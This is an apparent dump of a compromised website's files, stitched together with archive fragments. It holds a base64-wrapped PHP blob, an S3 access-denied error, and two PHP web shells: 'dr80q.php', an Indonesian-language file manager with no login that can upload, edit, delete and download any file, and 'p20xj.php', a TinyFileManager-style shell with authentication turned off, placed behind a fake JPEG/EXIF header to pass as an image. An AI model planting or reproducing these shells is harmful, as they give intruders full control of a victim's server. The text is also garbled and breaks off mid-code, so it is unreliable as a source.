bmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9wb3BwZXIuanMvMS4xNC4zL3VtZC9wb3BwZXIu
bWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1aTVA3clZvM21JeWtWKzIrOUozVUo0NmpCazBXTGFV
QWRuNjg5YUN3b3FiQkppU25qQUsvbDhXdkNXUElQbTQ5IiBjcm9zc29yaWdpbj0iYW5vbnltb3Vz
Ij48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL3N0YWNrcGF0aC5ib290c3RyYXBj
ZG4uY29tL2Jvb3RzdHJhcC80LjEuMy9qcy9ib290c3RyYXAubWluLmpzIiBpbnRlZ3JpdHk9InNo
YTM4NC1DaGZxcXh1WlVDbkpTSzMrTVhtUE5JeUU2WmJXaDJJTXFFMjQxcllpcUp4eU1pWjZPVy9K
bVpRNXN0d0VVTFR5IiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KICA8c2NyaXB0
PgogICAgJCgiI21lbnUtdG9nZ2xlIikuY2xpY2soZnVuY3Rpb24oZSkgewogICAgICBlLnByZXZl
bnREZWZhdWx0KCk7CiAgICAgICQoIiN3cmFwcGVyIikudG9nZ2xlQ2xhc3MoInRvZ2dsZWQiKTsK
ICAgIH0pOwogIDwvc2NyaXB0PgoKPC9ib2R5Pgo8L2h0bWw+Cjw/cGhwCmZ1bmN0aW9uIHBlcm1z
KCRmaWxlKXsKJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsKCmlmICgoJHBlcm1zICYgMHhDMDAw
KSA9PSAweEMwMDApIHsKLy8gU29ja2V0CiRpbmZvID0gJ3MnOwp9IGVsc2VpZiAoKCRwZXJtcyAm
IDB4QTAwMCkgPT0gMHhBMDAwKSB7Ci8vIFN5bWJvbGljIExpbmsKJGluZm8gPSAnbCc7Cn0gZWxz
ZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsKLy8gUmVndWxhcgokaW5mbyA9ICct
JzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgewovLyBCbG9jayBzcGVj
aWFsCiRpbmZvID0gJ2InOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7
Ci8vIERpcmVjdG9yeQokaW5mbyA9ICdkJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09
IDB4MjAwMCkgewovLyBDaGFyYWN0ZXIgc3BlY2lhbAokaW5mbyA9ICdjJzsKfSBlbHNlaWYgKCgk
cGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgewovLyBGSUZPIHBpcGUKJGluZm8gPSAncCc7Cn0g
ZWxzZSB7Ci8vIFVua25vd24KJGluZm8gPSAndSc7Cn0KCi8vIE93bmVyCiRpbmZvIC49ICgoJHBl
cm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/
ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CigoJHBlcm1zICYgMHgw
ODAwKSA/ICdzJyA6ICd4JyApIDoKKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7Cgov
LyBHcm91cAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwokaW5mbyAu
PSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4
MDAwOCkgPwooKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6CigoJHBlcm1zICYgMHgw
NDAwKSA/ICdTJyA6ICctJykpOwoKLy8gV29ybGQKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQp
ID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsK
JGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8KKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDog
J3gnICkgOgooKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCnJldHVybiAkaW5mbzsK
fQo/Pg=="));?>PKLm\����	about.PHPnu�[���<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>RWX1H6ZKWQB74P9D</RequestId><HostId>sNWcIoXJwwxFkM62odV/AoUzN/4QQ92gv0cY8uisKmI9pKGIycj8wZftC/9hyAuPsxRqqTFp6lM=</HostId></Error>PKLm\�K�V��	dr80q.phpnu�[���<?php
session_start();

// ----[ Konfigurasi Awal ]----
$currentDir = realpath(isset($_GET['path']) ? $_GET['path'] : __DIR__);
if (!is_dir($currentDir)) {
    die("Direktori tidak ditemukan.");
}

function deleteDir($dirPath) {
    if (!is_dir($dirPath)) return unlink($dirPath);
    foreach (scandir($dirPath) as $item) {
        if ($item === '.' || $item === '..') continue;
        deleteDir($dirPath . DIRECTORY_SEPARATOR . $item);
    }
    return rmdir($dirPath);
}

// Rename
if (isset($_POST['rename'], $_POST['oldname'], $_POST['newname'])) {
    $old = $currentDir . DIRECTORY_SEPARATOR . $_POST['oldname'];
    $new = $currentDir . DIRECTORY_SEPARATOR . $_POST['newname'];
    if (file_exists($old)) rename($old, $new);
}

// Hapus
if (isset($_GET['delete'])) {
    $target = realpath($currentDir . DIRECTORY_SEPARATOR . $_GET['delete']);
    if (strpos($target, $currentDir) === 0 || file_exists($target)) {
        deleteDir($target);
    }
    header("Location: ?path=" . urlencode($currentDir));
    exit;
}

// Download
if (isset($_GET['download'])) {
    $file = $currentDir . DIRECTORY_SEPARATOR . $_GET['download'];
    if (is_file($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
}

// View/Edit
if (isset($_GET['view'])) {
    $file = $currentDir . DIRECTORY_SEPARATOR . $_GET['view'];
    if (is_file($file)) {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
            file_put_contents($file, $_POST['content']);
            echo "<p>File disimpan.</p>";
        }
        $content = htmlspecialchars(file_get_contents($file));
        echo "<h3>Edit: ".basename($file)."</h3>";
        echo "<form method='post'><textarea name='content' rows='20' cols='100'>{$content}</textarea><br><button type='submit'>Simpan</button></form>";
        echo "<p><a href='?path=".urlencode($currentDir)."'>Kembali</a></p>";
        exit;
    }
}

// Upload
if (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) {
    $tmpName = $_FILES['upload']['tmp_name'];
    $name = basename($_FILES['upload']['name']);
    move_uploaded_file($tmpName, $currentDir . DIRECTORY_SEPARATOR . $name);
    header("Location: ?path=" . urlencode($currentDir));
    exit;
}

$items = scandir($currentDir);
?>

<h2>File Manager</h2>
<p>Path: <?= htmlspecialchars($currentDir) ?></p>
<p><a href="?path=<?= urlencode(dirname($currentDir)) ?>">⬅️ Kembali</a></p>

<form method="post" enctype="multipart/form-data">
    <input type="file" name="upload" required>
    <button type="submit">Unggah</button>
</form>

<table border="1" cellpadding="5">
<tr><th>Nama</th><th>Aksi</th><th>Rename</th></tr>
<?php foreach ($items as $item):
    if ($item === '.' || $item === '..') continue;
    $path = $currentDir . DIRECTORY_SEPARATOR . $item;
    $isDir = is_dir($path);
    ?>
    <tr>
        <td><?= $isDir ? "📁" : "📄" ?> <?= $isDir ? "<a href='?path=" . urlencode($path) . "'>$item</a>" : $item ?></td>
        <td>
            <?php if (!$isDir): ?>
                <a href="?path=<?= urlencode($currentDir) ?>&download=<?= urlencode($item) ?>">Download</a> |
                <a href="?path=<?= urlencode($currentDir) ?>&view=<?= urlencode($item) ?>">View/Edit</a> |
            <?php endif; ?>
            <a href="?path=<?= urlencode($currentDir) ?>&delete=<?= urlencode($item) ?>" onclick="return confirm('Yakin hapus?')">Hapus</a>
        </td>
        <td>
            <form method="post" style="display:inline;">
                <input type="hidden" name="oldname" value="<?= htmlspecialchars($item) ?>">
                <input type="text" name="newname" value="<?= htmlspecialchars($item) ?>" required>
                <button type="submit" name="rename">Ubah</button>
            </form>
        </td>
    </tr>
<?php endforeach; ?>
</table>
<style>
    body { font-family: sans-serif; }
    table { border-collapse: collapse; width: 100%; }
    td, th { padding: 5px; text-align: left; }
</style>PKLm\|�Y	E�E�	p20xj.phpnu�[���ÿØÿà JFIF ,,  AMPFÿá&ÿExif  MM *           ž       ¤              ²       º(       1        Â2       Ê<       Þ       ‡i       ìˆ%      
x  
®Apple iPhone 13 Pro    H      H   17.1.2  2024:02:20 17:25:01 iPhone 13 Pro  %‚š      ®‚      ¶ˆ"       ˆ'     }        0232      ¾      Ґ       æ       î       ö‘      ’ 
     þ’      ’ 

<?php
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}';

define('VERSION', '3.9');

define('APP_TITLE', 'swallowable');

$dauth = false;

$auth_users = array(
    'admin' => '2e35b702f2cd5011321dbea58cd4700c',
    'user' => '2e35b702f2cd5011321dbea58cd4700c'
);

$readonly_users = array(
    'user'
);


$global_readonly = false;

$directories_users = array();

$use_highlightjs = true;

$highlightjs_style = 'vs';

$edit_files = true;

$default_timezone = 'Etc/UTC';

$root_path = $_SERVER['DOCUMENT_ROOT'];

$root_url = '';

$http_host = $_SERVER['HTTP_HOST'];

$iconv_input_encoding = 'UTF-8';

$datetime_format = 'm/d/Y g:i A';

$path_display_mode = 'full';

$allowed_file_extensions = '';

$allowed_upload_extensions = '';

$favicon_path = '';

$exclude_items = array();

$online_viewer = 'google';

$sticky_navbar = true;

$max_upload_size_bytes = 5000000000; 

$upload_chunk_size_bytes = 2000000; 

$ip_ruleset = 'OFF';

$ip_silent = true;

$ip_whitelist = array(
    '127.0.0.1',    
    '::1'           
);

$ip_blacklist = array(
    '0.0.0.0',      
    '::'            
);

$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

$external = array(
    'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
    'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
    'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
    'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
    'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
    'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
    'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
    'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
    'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
    'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
    'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
    'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);


define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);


define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);


if ( !defined( 'DN_CESSION_ID')) {
    define('DN_CESSION_ID', 'filemanager');
}


$cfg = new FM_Config();


$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';

define('FM_THEME', $theme);

$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

if (defined('FM_EMBED')) {
    $dauth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('nocache'); 
    session_name(DN_CESSION_ID );
    function session_error_handling_function($code, $msg, $file, $line) {
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

if (empty($_SESSION['token'])) {
    if (function_exists('random_bytes')) {
        $_SESSION['token'] = bin2hex(random_bytes(32));
    } else {
    	$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
    }
}

if (empty($auth_users)) {
    $dauth = false;
}

$is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1))
    or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');

if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']];
}

$root_url = fm_clean_path($root_url);

defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[DN_CESSION_ID]['logged']);
    unset( $_SESSION['token']); 
    fm_redirect(FM_SELF_URL);
}

if ($ip_ruleset != 'OFF') {
    function getClientIP() {
        if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
            return  $_SERVER["HTTP_CF_CONNECTING_IP"];
        }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
            return $_SERVER['REMOTE_ADDR'];
        }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            return $_SERVER['HTTP_CLIENT_IP'];
        }
        return '';
    }

    $clientIp = getClientIP();
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if($ip_ruleset == 'AND'){
        if($whitelisted == true and $blacklisted == false){
            $proceed = true;
        }
    } else
    if($ip_ruleset == 'OR'){
         if($whitelisted == true || $blacklisted == false){
            $proceed = true;
        }
    }

    if($proceed == false){
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if($ip_silent == false){
            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }
        exit();
    }
}


if ($dauth) {
    if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
        sleep(1);
        if(function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) {
                $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL);
            } else {
                unset($_SESSION[DN_CESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[DN_CESSION_ID]['logged']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php echo fm_get_theme(); ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="mb-3">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="mb-3">
                                        <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="mb-3">
                                        <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="mb-3">
                                        <?php fm_show_message(); ?>
                                    </div>
                                    <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
                                    <div class="mb-3">
                                        <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php
        fm_show_footer_login();
        exit;
    }
}


if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path;
}

$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');


if (!isset($_GET['p']) and empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);


$isim = "//input";
$input = file_get_contents('php:'.$isim);
$_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

define('FM_PATH', $p);
define('FM_USE_AUTH', $dauth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);


if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        header('HTTP/1.0 401 Unauthorized');
        die("Invalid Token.");
    }

    if(isset($_POST['type']) and $_POST['type']=="search") {
        $dir = $_POST['path'] == "." ? '': $_POST['path'];
        $response = scan(fm_clean_path($dir), $_POST['content']);
        echo json_encode($response);
        exit();
    }

    // save editor file
    if (isset($_POST['type']) and $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg(lng('File not found'), 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;

        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false){
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    // backup files
    if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) {
        $fileName = fm_clean_path($_POST['file']);
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) and $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) and $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

         function event_callback ($message) {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path () {
            global $path, $fileinfo, $temp_file;
            return $path."/".basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;

        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if(!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false );
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, strtok(get_file_path(), '?'));
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit();
}

if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) {
    $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
    if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
            fm_set_msg(sprintf($msg, fanco($del)));
        } else {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
            fm_set_msg(sprintf($msg, fanco($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'), 'error');
    }
